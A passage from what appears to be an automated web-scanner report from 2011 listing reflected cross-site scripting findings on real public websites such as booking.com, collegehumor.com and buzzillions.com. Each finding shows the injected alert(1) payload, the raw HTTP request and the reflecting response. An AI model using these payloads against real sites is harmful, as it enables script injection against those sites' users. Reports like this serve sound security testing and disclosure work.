...[SNIP]...
<input type="text" size="40" name="request" value="/favicon.icoe6b8e--><script>alert(1)</script>f5a7c98118a" />
...[SNIP]...

6.17. http://www.blackplanet.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.blackplanet.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f3c8"><script>alert(1)</script>54790336890 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /3f3c8"><script>alert(1)</script>54790336890 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.blackplanet.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:00:21 GMT
Server: Apache
X-Powered-By: PHP/5.2.4
Edge-control: no-store
Page-Name: /3f3c8"><script>alert(1)</script>54790336890
Set-Cookie: user_guid=d41d8cd98f00b204e9800998ecf8427e.4d972bf5ab15e4.37665058; path=/
Cache-Control: no-cache, no-store, private
Content-Type: text/html; charset=utf-8
Content-Length: 77942

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/ht
...[SNIP]...
<base href="http://www.blackplanet.com/3f3c8"><script>alert(1)</script>54790336890" />
...[SNIP]...

6.18. http://www.blurtit.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.blurtit.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b6f4c'-alert(1)-'19aa576003b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icob6f4c'-alert(1)-'19aa576003b HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.blurtit.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:27:15 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By:
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Sat, 02 Apr 2011 13:27:15 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: PHPSESSID=gj6oi7nrchu34cjuu1pvhmt7g1; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 16236

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
hEngine(
           "http://www.blurtit.com/inc/"+name+".src",
           "http://www.blurtit.com/inc/"+name+"."+ext,
           name,cat);

   }
   else{
       errorMsg(name,ext,cat);
   }
}
var currentPage = '/favicon.icob6f4c'-alert(1)-'19aa576003b';
//-->
...[SNIP]...

6.19. http://www.blurtit.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.blurtit.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27e95"><script>alert(1)</script>0dbcb03d99f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico27e95"><script>alert(1)</script>0dbcb03d99f HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.blurtit.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:27:15 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By:
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Sat, 02 Apr 2011 13:27:15 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: PHPSESSID=3fuii4e2ro74fkn0ag29lot583; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 16266

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<div id="large_modal" script="/zone.php" return="/favicon.ico27e95"><script>alert(1)</script>0dbcb03d99f" resource="">
...[SNIP]...

6.20. http://www.booking.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.booking.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31d83"><script>alert(1)</script>f038581b329 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico31d83"><script>alert(1)</script>f038581b329 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.booking.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:34:46 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Cache: MISS from www.booking.com
Content-Length: 38617

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<meta property="og:url" content="http://www.booking.com/favicon.ico31d83"><script>alert(1)</script>f038581b329" />
...[SNIP]...

6.21. http://www.buzzillions.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.buzzillions.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7c2b1<script>alert(1)</script>d7b417a0868 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /7c2b1<script>alert(1)</script>d7b417a0868 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.buzzillions.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:03:46 GMT
Server: Apache/2.2.9 (Unix)
Set-Cookie: cref=""; Expires=Tue, 30-Mar-2021 14:03:46 GMT; Path=/
Set-Cookie: lapg=%2F7c2b1%3Cscript%3Ealert%281%29%3C%2Fscript%3Ed7b417a0868%3FN%3D0%26D%3Dx%26Ntt%3D7c2b1%3Cscript%3Ealert%281%29%3C%2Fscript%3Ed7b417a0868%26top%3Dyes; Expires=Tue, 30-Mar-2021 14:03:46 GMT; Path=/
Set-Cookie: oref=""; Expires=Tue, 30-Mar-2021 14:03:46 GMT; Path=/
Set-Cookie: bzid=1301753026034; Expires=Tue, 30-Mar-2021 14:03:46 GMT; Path=/
Set-Cookie: JSESSIONID=C8D8B00D722639114CC9D968B79ED1FF.vision1portal; Path=/
Content-Language: en-US
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 25260

<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta name="verify-v1" con
...[SNIP]...
<span style="color: #74B74A);" class="bz-emphasize">"7c2b1<script>alert(1)</script>d7b417a0868"</span>
...[SNIP]...

6.22. http://www.buzzillions.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.buzzillions.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3d827'%3balert(1)//f900ae9d4e1 was submitted in the REST URL parameter 1. This input was echoed as 3d827';alert(1)//f900ae9d4e1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /3d827'%3balert(1)//f900ae9d4e1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.buzzillions.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:03:45 GMT
Server: Apache/2.2.9 (Unix)
Set-Cookie: cref=""; Expires=Tue, 30-Mar-2021 14:03:45 GMT; Path=/
Set-Cookie: lapg=%2F3d827%27%3FN%3D0%26D%3Dx%26Ntt%3D3d827%27%3Balert%281%29%2F%2Ff900ae9d4e1%26top%3Dyes; Expires=Tue, 30-Mar-2021 14:03:45 GMT; Path=/
Set-Cookie: oref=""; Expires=Tue, 30-Mar-2021 14:03:45 GMT; Path=/
Set-Cookie: bzid=1301753025507; Expires=Tue, 30-Mar-2021 14:03:45 GMT; Path=/
Set-Cookie: JSESSIONID=C0D0FFA84BA2B8122526460BFC309C71.fury1portal; Path=/
Content-Language: en-US
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 28216

<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta name="verify-v1" con
...[SNIP]...
<script>bZ.events.handlers.zeroResults('3d827';alert(1)//f900ae9d4e1');</script>
...[SNIP]...

6.23. http://www.buzzillions.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.buzzillions.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as text between TITLE tags. The payload 8110a</title><script>alert(1)</script>09446e4c092 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /8110a</title><script>alert(1)</script>09446e4c092 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.buzzillions.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:03:46 GMT
Server: Apache/2.2.9 (Unix)
Set-Cookie: cref=""; Expires=Tue, 30-Mar-2021 14:03:46 GMT; Path=/
Set-Cookie: lapg=%2F8110a%3C%2Ftitle%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E09446e4c092%3FN%3D0%26D%3Dx%26Ntt%3D8110a%3C%2Ftitle%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E09446e4c092%26top%3Dyes; Expires=Tue, 30-Mar-2021 14:03:46 GMT; Path=/
Set-Cookie: oref=""; Expires=Tue, 30-Mar-2021 14:03:46 GMT; Path=/
Set-Cookie: bzid=1301753026723; Expires=Tue, 30-Mar-2021 14:03:46 GMT; Path=/
Set-Cookie: JSESSIONID=985D75A4878160C26E5AC58466A0042F.fury1portal; Path=/
Content-Language: en-US
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 28575

<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta name="verify-v1" con
...[SNIP]...
<title>Buzzillions.com - Search for “8110a</title><script>alert(1)</script>09446e4c092”</title>
...[SNIP]...

6.24. http://www.caringbridge.org/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.caringbridge.org
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e0af"><script>alert(1)</script>e4e99b75a76 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico4e0af"><script>alert(1)</script>e4e99b75a76 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.caringbridge.org
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:45:06 GMT
Server: Apache
Set-Cookie: lang=en; path=/
Cache-Control: max-age=0
Expires: Sat, 02 Apr 2011 13:45:06 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 9848

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>The Page You Requested Was N
...[SNIP]...
<a href="/favicon.ico4e0af"><script>alert(1)</script>e4e99b75a76/es">
...[SNIP]...

6.25. http://www.cliffsnotes.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.cliffsnotes.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 13a1d<script>alert(1)</script>c642b5d4bda was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico13a1d<script>alert(1)</script>c642b5d4bda HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.cliffsnotes.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
Date: Sat, 02 Apr 2011 14:09:27 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Set-Cookie: JSESSIONID=1D6D0BAF1D692C9DD311319A3C3F0A3B; Path=/
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xh
...[SNIP]...
<i>/WileyCDA//favicon.ico13a1d<script>alert(1)</script>c642b5d4bda</i>
...[SNIP]...

6.26. http://www.colbertnation.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.colbertnation.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8cf7"><script>alert(1)</script>c187a66e885 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoc8cf7"><script>alert(1)</script>c187a66e885 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.colbertnation.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2.0.63 (Unix) PHP/5.3.1
X-Powered-By: PHP/5.3.1
Accept-ESI: 1.0
Content-Type: text/html
Content-Length: 24243
Cache-Control: max-age=3593
Date: Sat, 02 Apr 2011 14:19:11 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<he
...[SNIP]...
<link rel="canonical" href="http://www.colbertnation.com/favicon.icoc8cf7"><script>alert(1)</script>c187a66e885" />
...[SNIP]...

6.27. http://www.collegehumor.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1f7f8"-alert(1)-"6131f1d2df4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico1f7f8"-alert(1)-"6131f1d2df4 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.collegehumor.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
Date: Sat, 02 Apr 2011 13:38:05 GMT
Server: Apache
X-Powered-By: PHP/5.3.6
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: returning_user=deleted; expires=Fri, 02-Apr-2010 13:38:04 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Mon, 02-May-2011 13:38:05 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=deleted; expires=Fri, 02-Apr-2010 13:38:04 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=bfd7f48759b88f74f115a942a0192cab528325b5; expires=Fri, 01-Apr-2016 18:41:55 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=bfd7f48759b88f74f115a942a0192cab528325b5; expires=Fri, 01-Apr-2016 18:41:55 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="http://www.fa
...[SNIP]...
"5480.iac.collegehumor";
jument.cookie.domain = ".collegehumor.com";
jument.home_url = "http://www.collegehumor.com";
jument.this_url = "http://www.collegehumor.com/favicon.ico1f7f8"-alert(1)-"6131f1d2df4";
jument.user_id = 0;

// CH8 STUFF
var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/favicon.ico1f7f8"-alert(1
...[SNIP]...

6.28. http://www.collegehumor.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 884c7'-alert(1)-'3ff612d36a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico884c7'-alert(1)-'3ff612d36a6 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.collegehumor.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
Date: Sat, 02 Apr 2011 13:38:07 GMT
Server: Apache
X-Powered-By: PHP/5.3.6
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: returning_user=deleted; expires=Fri, 02-Apr-2010 13:38:06 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Mon, 02-May-2011 13:38:07 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=deleted; expires=Fri, 02-Apr-2010 13:38:06 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=bd254816c761ff323b0d89497568c5a23e743eab; expires=Fri, 01-Apr-2016 18:41:57 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=bd254816c761ff323b0d89497568c5a23e743eab; expires=Fri, 01-Apr-2016 18:41:57 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="http://www.fa
...[SNIP]...
)-'3ff612d36a6";
jument.user_id = 0;

// CH8 STUFF
var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/favicon.ico884c7'-alert(1)-'3ff612d36a6';
ch.this_url_64 = 'aHR0cDovL3d3dy5jb2xsZWdlaHVtb3IuY29tL2Zhdmljb24uaWNvODg0YzcnLWFsZXJ0KDEpLSczZmY2MTJkMzZhNg==';
ch.home_url = 'http://www.collegehumor.com';
ch.user_id = 0;

...[SNIP]...

6.29. http://www.collegehumor.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f0e55"-alert(1)-"d509def4047 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?f0e55"-alert(1)-"d509def4047=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.collegehumor.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
Date: Sat, 02 Apr 2011 13:37:15 GMT
Server: Apache
X-Powered-By: PHP/5.3.6
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: returning_user=deleted; expires=Fri, 02-Apr-2010 13:37:14 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Mon, 02-May-2011 13:37:15 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=deleted; expires=Fri, 02-Apr-2010 13:37:14 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=43262f6ac8638772c644f10a51cc6ea9b97bea3c; expires=Fri, 01-Apr-2016 18:41:05 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=43262f6ac8638772c644f10a51cc6ea9b97bea3c; expires=Fri, 01-Apr-2016 18:41:05 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="http://www.fa
...[SNIP]...
"5480.iac.collegehumor";
jument.cookie.domain = ".collegehumor.com";
jument.home_url = "http://www.collegehumor.com";
jument.this_url = "http://www.collegehumor.com/favicon.ico?f0e55"-alert(1)-"d509def4047=1";
jument.user_id = 0;

// CH8 STUFF
var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/favicon.ico?f0e55"-aler
...[SNIP]...

6.30. http://www.collegehumor.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.collegehumor.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e1307'-alert(1)-'314d4297df was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?e1307'-alert(1)-'314d4297df=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.collegehumor.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 404 Not Found
Date: Sat, 02 Apr 2011 13:37:18 GMT
Server: Apache
X-Powered-By: PHP/5.3.6
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: returning_user=deleted; expires=Fri, 02-Apr-2010 13:37:17 GMT; path=/; domain=.collegehumor.com
Set-Cookie: returning_user=1; expires=Mon, 02-May-2011 13:37:18 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=deleted; expires=Fri, 02-Apr-2010 13:37:17 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=b73f2f66647214b22889eaac093d9555c93cbeac; expires=Fri, 01-Apr-2016 18:41:08 GMT; path=/; domain=.collegehumor.com
Set-Cookie: jument_hash=b73f2f66647214b22889eaac093d9555c93cbeac; expires=Fri, 01-Apr-2016 18:41:08 GMT; path=/; domain=.collegehumor.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="http://www.fa
...[SNIP]...
'314d4297df=1";
jument.user_id = 0;

// CH8 STUFF
var ch = window.ch || {};
ch.logged_in = false;
ch.this_url = 'http://www.collegehumor.com/favicon.ico?e1307'-alert(1)-'314d4297df=1';
ch.this_url_64 = 'aHR0cDovL3d3dy5jb2xsZWdlaHVtb3IuY29tL2Zhdmljb24uaWNvP2UxMzA3Jy1hbGVydCgxKS0nMzE0ZDQyOTdkZj0x';
ch.home_url = 'http://www.collegehumor.com';
ch.user_id = 0
...[SNIP]...

6.31. http://www.craveonline.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.craveonline.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 3b192--><a>42b747ad359 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /favicon.ico3b192--><a>42b747ad359 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.craveonline.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2
Status: 404 Not Found
Expires: Sat, 02 Apr 2011 14:25:35 GMT
Cache-Control: public, max-age=300
Vary: Accept-Encoding
X-Served-By: app1v-fe.sb.lax1
Content-Type: text/html; charset=UTF-8
Content-Length: 56159
Date: Sat, 02 Apr 2011 14:20:35 GMT
X-Varnish: 878005268
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS from pxy1v.sb.lax1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>

<a>42b747ad359 -->
...[SNIP]...

6.32. http://www.craveonline.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.craveonline.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88a67'-alert(1)-'dd8390ff089 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico88a67'-alert(1)-'dd8390ff089 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.craveonline.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache/2
Status: 404 Not Found
Expires: Sat, 02 Apr 2011 14:25:32 GMT
Cache-Control: public, max-age=300
Vary: Accept-Encoding
X-Served-By: app2v-fe.sb.lax1
Content-Type: text/html; charset=UTF-8
Content-Length: 56303
Date: Sat, 02 Apr 2011 14:20:32 GMT
X-Varnish: 878005112
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS from pxy1v.sb.lax1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>

<!-- $Id: pagegen.php 2816 2009-06-25 1
...[SNIP]...
